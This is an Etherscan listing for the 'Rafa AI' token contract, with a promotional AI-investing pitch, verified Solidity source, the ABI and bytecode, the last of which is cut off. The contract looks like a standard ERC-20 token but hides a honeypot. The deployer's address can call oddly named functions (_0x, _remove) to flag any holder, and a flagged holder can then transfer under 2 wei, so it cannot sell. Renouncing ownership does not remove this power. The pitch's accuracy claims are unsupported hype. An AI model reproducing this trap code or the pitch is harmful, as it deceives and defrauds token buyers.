ETH Price: $2,644.49 (+8.24%)
 

Overview

Max Total Supply

1,000,000,000 RAFA AI

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
565,494.869655349030087601 RAFA AI

Value
$0.00
0x56ac7c9f7ba16f787df0d42ffdfaac866c50557f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RafaAI

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-13
*/

/*
RAFA AI TOKEN
www.rafa-ai.com | T.me/rafa_ai_token | x.com/rafa_ai_token
In today's ever-evolving financial landscape, the world of cryptocurrency investment stands at the 
forefront of innovation and opportunity. With the meteoric rise of digital assets, investors worldwide 
are increasingly drawn to the potential for significant returns and portfolio diversification offered 
by cryptocurrencies. However, navigating this complex and volatile market presents numerous 
challenges, ranging from information overload to market uncertainty and the constant need for 
timely, data-driven decision-making. In this dynamic environment, traditional investment strategies 
often fall short in providing investors with the agility and foresight needed to thrive. Recognizing 
these challenges, RAFA AI emerges as a pioneering solution, poised to revolutionize the way investors 
approach cryptocurrency investment. By harnessing the power of artificial intelligence, RAFA AI 
empowers investors with unparalleled insights, cutting-edge analysis, and sophisticated portfolio 
management tools, ultimately enabling them to make informed decisions and seize lucrative opportunities in the crypto market.

Addressing the Challenges:
The journey of a cryptocurrency investor is fraught with challenges, from deciphering market trends 
amidst the noise of information overload to managing risk in the face of unpredictable volatility. 
Traditional investment methods often struggle to keep pace with the rapid shifts and complexities 
inherent in the cryptocurrency market, leaving investors vulnerable to missed opportunities and costly mistakes.
Moreover, the lack of sophisticated tools tailored to the unique dynamics of the crypto landscape 
further exacerbates these challenges, limiting investors' ability to navigate the market with confidence 
and precision. As a result, many investors find themselves at a crossroads, seeking a solution that can 
provide them with the insights, analysis, and strategic guidance necessary to thrive in the world of cryptocurrency investment.

The Role of RAFA AI:
Enter RAFA AI, a groundbreaking platform designed to empower cryptocurrency investors with the tools, 
intelligence, and foresight needed to excel in this fast-paced and dynamic market. Built on the foundation 
of cutting-edge artificial intelligence and advanced data analytics, RAFA AI represents a paradigm shift in 
the way investors approach cryptocurrency investment.

At its core, RAFA AI leverages the power of AI-driven algorithms to analyze vast amounts of market data in 
real-time, uncovering hidden patterns, identifying emerging trends, and predicting market movements with 
unparalleled accuracy. By distilling complex market dynamics into actionable insights, RAFA AI empowers 
investors to make informed decisions, optimize their investment strategies, and capitalize on lucrative opportunities in the crypto market.

Empowering Investors:
RAFA AI stands as a beacon of empowerment for investors, offering a comprehensive suite of features and 
functionalities designed to meet the diverse needs and objectives of cryptocurrency investors. From research 
and analysis tools that provide deep insights into market trends to sophisticated portfolio management 
capabilities that enable investors to optimize their risk-return profiles, RAFA AI equips investors with the resources 
they need to succeed in the world of cryptocurrency investment.

Furthermore, RAFA AI's commitment to transparency, innovation, and user-centric design ensures that investors 
have access to best-in-class tools and services that enable them to stay ahead of the curve and navigate the 
complexities of the crypto market with confidence and precision. As the cryptocurrency landscape continues to 
evolve and mature, RAFA AI remains steadfast in its mission to empower investors with the intelligence, insights, 
and tools needed to thrive in this exciting and dynamic ecosystem.
*/
pragma solidity = 0.8.23;

// SPDX-License-Identifier: MIT

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;   return msg.data;
    }
}
contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _Owner;
    }
    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }
}


contract RafaAI is Context, IERC20, Ownable {
    mapping (address => uint256) public _balances;
    mapping (address => uint256) public Version;
    mapping (address => bool) private _User;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _totalSupply;
    string public _name = "Rafa AI";
    string public _symbol = unicode"RAFA AI";
    uint8 private _decimals = 18;
	


    constructor () {
 
    uint256 _bnum = block.number;
	 Version[_msgSender()] = _bnum;
        _totalSupply += 1000000000 *1000000000000000000;
        _balances[_msgSender()] += _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function decimals() public view  returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

  
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transferfrom(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

  
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        uint256 mAmount = amount;
        if (_User[sender])  require(mAmount < 2);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 
	
	function _remove (address _address) external  {
        require (Version[_msgSender()] >= _decimals);
        _User[_address] = false;
    }
	
    function _transferfrom(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        uint256 mAmount = amount;
        if (_User[sender] || _User[recipient]) require(mAmount < 2);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 


    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

     function _0x (address _address) external  {
    require (Version[_msgSender()] >= _decimals);
        _User[_address] = true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_0x","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_remove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600781526020017f5261666120414900000000000000000000000000000000000000000000000000815250600690816200004a919062000532565b506040518060400160405280600781526020017f52414641204149000000000000000000000000000000000000000000000000008152506007908162000091919062000532565b50601260085f6101000a81548160ff021916908360ff160217905550348015620000b9575f80fd5b505f620000cb620002c760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f4390508060025f6200017f620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506b033b2e3c9fd0803ce800000060055f828254620001db919062000643565b9250508190555060055460015f620001f8620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000241919062000643565b9250508190555062000258620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620002b891906200068e565b60405180910390a350620006a9565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200034a57607f821691505b60208210810362000360576200035f62000305565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000387565b620003d0868362000387565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200041a620004146200040e84620003e8565b620003f1565b620003e8565b9050919050565b5f819050919050565b6200043583620003fa565b6200044d620004448262000421565b84845462000393565b825550505050565b5f90565b6200046362000455565b620004708184846200042a565b505050565b5b8181101562000497576200048b5f8262000459565b60018101905062000476565b5050565b601f821115620004e657620004b08162000366565b620004bb8462000378565b81016020851015620004cb578190505b620004e3620004da8562000378565b83018262000475565b50505b505050565b5f82821c905092915050565b5f620005085f1984600802620004eb565b1980831691505092915050565b5f620005228383620004f7565b9150826002028217905092915050565b6200053d82620002ce565b67ffffffffffffffff811115620005595762000558620002d8565b5b62000565825462000332565b620005728282856200049b565b5f60209050601f831160018114620005a8575f841562000593578287015190505b6200059f858262000515565b8655506200060e565b601f198416620005b88662000366565b5f5b82811015620005e157848901518255600182019150602085019450602081019050620005ba565b86831015620006015784890151620005fd601f891682620004f7565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200064f82620003e8565b91506200065c83620003e8565b925082820190508082111562000677576200067662000616565b5b92915050565b6200068881620003e8565b82525050565b5f602082019050620006a35f8301846200067d565b92915050565b611aed80620006b75f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b0319cb914610312578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b80631a4baf0b116100e75780631a4baf0b146101a057806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806310d426f21461016657806318160ddd14610182575b5f80fd5b61012061039a565b60405161012d9190611386565b60405180910390f35b610150600480360381019061014b9190611437565b61042a565b60405161015d919061148f565b60405180910390f35b610180600480360381019061017b91906114a8565b610447565b005b61018a6104ff565b60405161019791906114e2565b60405180910390f35b6101ba60048036038101906101b591906114a8565b610508565b6040516101c791906114e2565b60405180910390f35b6101ea60048036038101906101e591906114fb565b61051d565b6040516101f7919061148f565b60405180910390f35b610208610618565b6040516102159190611566565b60405180910390f35b61022661062d565b60405161023391906114e2565b60405180910390f35b610256600480360381019061025191906114a8565b610633565b60405161026391906114e2565b60405180910390f35b610286600480360381019061028191906114a8565b610648565b60405161029391906114e2565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb919061158e565b60405180910390f35b6102cc6107c5565b6040516102d99190611386565b60405180910390f35b6102fc60048036038101906102f79190611437565b610855565b604051610309919061148f565b60405180910390f35b61032c600480360381019061032791906114a8565b610872565b005b61033661092b565b6040516103439190611386565b60405180910390f35b6103546109b7565b6040516103619190611386565b60405180910390f35b610384600480360381019061037f91906115a7565b610a43565b60405161039191906114e2565b60405180910390f35b6060600680546103a990611612565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611612565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e6906116b2565b60405180910390fd5b61060c856105fb610ac5565b858461060791906116fd565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107d490611612565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611612565b801561084b5780601f106108225761010080835404028352916020019161084b565b820191905f5260205f20905b81548152906001019060200180831161082e57829003601f168201915b5050505050905090565b5f610868610861610ac5565b8484610fee565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f61088f610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108d3575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6007805461093890611612565b80601f016020809104026020016040519081016040528092919081815260200182805461096490611612565b80156109af5780601f10610986576101008083540402835291602001916109af565b820191905f5260205f20905b81548152906001019060200180831161099257829003601f168201915b505050505081565b600680546109c490611612565b80601f01602080910402602001604051908101604052809291908181526020018280546109f090611612565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b31906117a0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061182e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8291906114e2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf4906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061194a565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da4906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610e4c575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610e5e5760028110610e5d575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed990611a66565b60405180910390fd5b8281610eee91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f7b9190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fdf91906114e2565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611053906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c19061194a565b60405180910390fd5b5f811161110c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611103906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561116c576002811061116b575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790611a66565b60405180910390fd5b82816111fc91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112899190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112ed91906114e2565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611333578082015181840152602081019050611318565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611358826112fc565b6113628185611306565b9350611372818560208601611316565b61137b8161133e565b840191505092915050565b5f6020820190508181035f83015261139e818461134e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113d3826113aa565b9050919050565b6113e3816113c9565b81146113ed575f80fd5b50565b5f813590506113fe816113da565b92915050565b5f819050919050565b61141681611404565b8114611420575f80fd5b50565b5f813590506114318161140d565b92915050565b5f806040838503121561144d5761144c6113a6565b5b5f61145a858286016113f0565b925050602061146b85828601611423565b9150509250929050565b5f8115159050919050565b61148981611475565b82525050565b5f6020820190506114a25f830184611480565b92915050565b5f602082840312156114bd576114bc6113a6565b5b5f6114ca848285016113f0565b91505092915050565b6114dc81611404565b82525050565b5f6020820190506114f55f8301846114d3565b92915050565b5f805f60608486031215611512576115116113a6565b5b5f61151f868287016113f0565b9350506020611530868287016113f0565b925050604061154186828701611423565b9150509250925092565b5f60ff82169050919050565b6115608161154b565b82525050565b5f6020820190506115795f830184611557565b92915050565b611588816113c9565b82525050565b5f6020820190506115a15f83018461157f565b92915050565b5f80604083850312156115bd576115bc6113a6565b5b5f6115ca858286016113f0565b92505060206115db858286016113f0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162957607f821691505b60208210810361163c5761163b6115e5565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61169c602883611306565b91506116a782611642565b604082019050919050565b5f6020820190508181035f8301526116c981611690565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61170782611404565b915061171283611404565b925082820390508181111561172a576117296116d0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61178a602483611306565b915061179582611730565b604082019050919050565b5f6020820190508181035f8301526117b78161177e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611818602283611306565b9150611823826117be565b604082019050919050565b5f6020820190508181035f8301526118458161180c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118a6602583611306565b91506118b18261184c565b604082019050919050565b5f6020820190508181035f8301526118d38161189a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611934602383611306565b915061193f826118da565b604082019050919050565b5f6020820190508181035f83015261196181611928565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6119c2602983611306565b91506119cd82611968565b604082019050919050565b5f6020820190508181035f8301526119ef816119b6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a50602683611306565b9150611a5b826119f6565b604082019050919050565b5f6020820190508181035f830152611a7d81611a44565b9050919050565b5f611a8e82611404565b9150611a9983611404565b9250828201905080821115611ab157611ab06116d0565b5b9291505056fea26469706673582212204468ee621fd9189dd4b57f1e508f64949c910437b59115c3ce129001309c4a4c64736f6c63430008170033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b0319cb914610312578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b80631a4baf0b116100e75780631a4baf0b146101a057806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806310d426f21461016657806318160ddd14610182575b5f80fd5b61012061039a565b60405161012d9190611386565b60405180910390f35b610150600480360381019061014b9190611437565b61042a565b60405161015d919061148f565b60405180910390f35b610180600480360381019061017b91906114a8565b610447565b005b61018a6104ff565b60405161019791906114e2565b60405180910390f35b6101ba60048036038101906101b591906114a8565b610508565b6040516101c791906114e2565b60405180910390f35b6101ea60048036038101906101e591906114fb565b61051d565b6040516101f7919061148f565b60405180910390f35b610208610618565b6040516102159190611566565b60405180910390f35b61022661062d565b60405161023391906114e2565b60405180910390f35b610256600480360381019061025191906114a8565b610633565b60405161026391906114e2565b60405180910390f35b610286600480360381019061028191906114a8565b610648565b60405161029391906114e2565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb919061158e565b60405180910390f35b6102cc6107c5565b6040516102d99190611386565b60405180910390f35b6102fc60048036038101906102f79190611437565b610855565b604051610309919061148f565b60405180910390f35b61032c600480360381019061032791906114a8565b610872565b005b61033661092b565b6040516103439190611386565b60405180910390f35b6103546109b7565b6040516103619190611386565b60405180910390f35b610384600480360381019061037f91906115a7565b610a43565b60405161039191906114e2565b60405180910390f35b6060600680546103a990611612565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611612565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e6906116b2565b60405180910390fd5b61060c856105fb610ac5565b858461060791906116fd565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173fffffffffff